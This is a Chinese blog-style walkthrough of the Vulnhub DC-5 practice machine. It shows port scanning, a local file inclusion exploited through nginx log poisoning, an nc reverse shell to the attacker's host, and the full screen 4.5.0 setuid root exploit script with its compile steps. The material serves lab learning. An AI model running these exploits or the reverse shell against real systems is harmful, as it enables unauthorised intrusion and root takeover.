Vulnhub DC-5靶机渗透

信息搜集

老样子，先找到靶机IP和扫描靶机
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.141 #扫描端口

这次开的是80、111端口，而不是22端口。

查一下rpcbind是什么。
rpcbind是一个RPC服务，主要是在nfs共享时候负责通知客户端，服务器的nfs端口号的。简单理解RPC就是一个中介服务。
尝试使用下面链接的方法收集信息，发现不可行。
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

直接访问web网站，扫描目录没什么发现。
但是contact us处，重复提交后有个很细微的变化。

再提交一次。

可以看到Copyright后的年份是不同的，这就很奇怪了。
猜测thankyou.php可能是包含了某个页面。fuzz一下，找到了正确的参数file参数，一下就找到了LFI(本地文件包含)漏洞。

getFlag

上面已经说找到了本地文件包含漏洞，那么我们就来利用一下。

直接伪协议走一波读thankyou.php的源码看看。
http://192.168.146.142/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

base64解密一下，果然是直接include了一个文件。

现在就有思路了：include包含文件，会将文件内容当作php代码解析，那么就可以直接包含日志文件getshell。
但是这里要注意一点：如果使用浏览器直接构造的PHP一句话中，其中的特殊字符会被浏览器进行URL转义，导致无法getshell。

所以这里我们可以选择curl，或者直接抓包修改上传
curl -v "http://192.168.146.142/thankyou.php?file="或者

访问http://192.168.146.142/thankyou.php?file=/var/log/nginx/access.log

很好看来是解析了，直接蚁剑连上。

为了后续方便提权，反弹一个shell
nc 192.168.146.131 4444 -c /bin/bash

非交互式shell很难用，所以为了方便转换为交互式shell（可以得知该靶机装有python环境）
python -c 'import pty; pty.spawn("/bin/bash")'

接下来就该提权了，尝试使用suid提权。
find / -perm -u=s -type f 2>/dev/null

然后大概搜一下不大了解的命令，搜到screen命令时，可以看到它可以执行shell。

然后从这里入手，searchsploit直接搜一下有没有现成的利用工具。

看一眼这个sh脚本

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include 
#include 
#include 
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include 
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshellr

流程很简单，使用libhax.c生成一个动态链接库，再用rootshell.c生成一个获取权限的文件rootshell。然后用umask命令用来设置新建文件权限为777，然后就可以使用screen来提权了。

将这个脚本直接上传来执行，发现执行不了。

看来只能试试手动执行了。（libhax.c和rootshell.c上面的代码中有）

root@kali:~# vi libhax.c
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@kali:~# vi rootshell.c
root@kali:~# gcc -o rootshell rootshell.c

上传libhax.so和rootshell到靶机。（蚁剑直接拖进去或者nc传输文件）然后按照shell脚本中的顺序执行命令即可。


成功getFlag

总结

本次玩靶机，学习了泄露rpcbind信息的方法(虽然无法利用)。还有就是温习了下LFI漏洞，学习了下suid提权下的screen提权。其他基本都是老套路了。